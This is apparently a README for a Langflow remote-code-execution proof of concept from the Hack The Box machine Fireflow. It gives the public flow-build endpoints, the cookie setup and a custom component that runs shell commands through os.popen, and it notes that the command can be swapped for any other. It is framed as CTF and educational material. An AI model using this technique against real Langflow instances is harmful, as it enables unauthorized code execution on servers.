Langflow RCE PoC — HTB Fireflow

PoC used during the resolution of Fireflow, a Hack The Box machine, to demonstrate the exploitation of arbitrary code execution through a custom Langflow component.

Warning: this material is shared exclusively for educational purposes, security research, and reproduction of the CTF scenario. Use the PoC only in your own environments, labs, or systems for which you have explicit authorization.

About the PoC

The script automates the submission of a flow to a vulnerable Langflow instance.

The general idea is:

1. Create a custom component containing Python code.
2. Send this component to the flow build endpoint.
3. Start flow processing.
4. Query the execution events.
5. Extract and display the result returned by the component.

In the context of HTB Fireflow, I used this PoC to validate the possibility of executing commands in the context of the Langflow process.

The code used in the component executes:

whoami
hostname
id
pwd
ls -la

You can edit it. These commands only serve to identify the execution context and verify system access during the lab.

Configuration

Before running the script, fill in the three variables at the top of the file:

BASE = ""       # URL da instância do Langflow
FLOW_ID = ""    # ID do fluxo
CLIENT_ID = ""  # Client ID/cookie utilizado pela aplicação

BASE

It is the base URL of the instance being tested.

Example:

BASE = "http://TARGET"

Do not include /api/... in the value, as the endpoints are appended later by the script.

FLOW_ID

It is the flow identifier used by the build_public_tmp endpoint.

Fill it with the ID corresponding to the flow found during lab enumeration:

FLOW_ID = "SEU_FLOW_ID"

CLIENT_ID

It is the value used as the client_id cookie by the application:

CLIENT_ID = "SEU_CLIENT_ID"

The script later creates the session and sets this cookie automatically:

session = requests.Session()
session.verify = False
session.cookies.set("client_id", CLIENT_ID)

How it works

The first request is sent to:

/api/v1/build_public_tmp/{FLOW_ID}/flow

The sent JSON contains a genericNode node whose type is the custom component ExploitComp.

The relevant snippet of the component is:

class ExploitComp(Component):
    ...

    def r(self) -> Data:
        result = os.popen(
            "whoami; hostname; id; pwd; ls -la"
        ).read()

        return Data(data={
            "result": result
        })

Once the server accepts the flow, the response provides a job_id.

The script uses this identifier to query:

/api/v1/build_public_tmp/{job_id}/events

Finally, the events are processed and the result produced by the component is displayed in the terminal.

Running

With the variables configured:

python3 poc.py

A successful run should produce something similar to:

Pwning.....
HTTP: 200
Job ID: <job_id>

Events (/{job_id}/events):

### OUTPUT
----------------------------------------
<resultado da execução>
----------------------------------------
Build concluído em <tempo>s

The exact output content depends on the user, hostname, permissions, and working directory of the vulnerable environment.

PoC Structure

In summary:

poc.py
 │
 ├── configura BASE / FLOW_ID / CLIENT_ID
 │
 ├── monta o componente customizado
 │
 ├── cria o payload JSON
 │
 ├── POST /api/v1/build_public_tmp/{FLOW_ID}/flow
 │
 ├── obtém o job_id
 │
 ├── GET /api/v1/build_public_tmp/{job_id}/events
 │
 └── extrai o resultado do componente

Changing the command

To reproduce the behavior in the lab, the executed command is inside ExploitComp.r():

result = os.popen(
    "whoami; hostname; id; pwd; ls -la"
).read()

In an authorized CTF environment, this snippet can be changed to commands appropriate for the objective of the lab stage.

Recommendation: keep the PoC restricted to the CTF/lab environment and avoid using it against third-party systems.

Requirements

The script uses Python 3 and the libraries:

pip install requests urllib3

Then:

python3 poc.py

HTB Fireflow Context

This was the PoC I used during the Fireflow CTF/lab from Hack The Box to validate the vulnerability and achieve command execution in the service context.

The intention of this README is to document the technique in a reproducible way for anyone studying the machine, researching Langflow-related vulnerabilities, or learning about Python application security.

Disclaimer

This project is not intended to encourage unauthorized access.

The code should only be used on:

• Hack The Box machines;
• CTFs and training environments;
• personal labs;
• systems explicitly authorized for security testing.

The author is not responsible for the use of this code against unauthorized systems.

Use responsibly.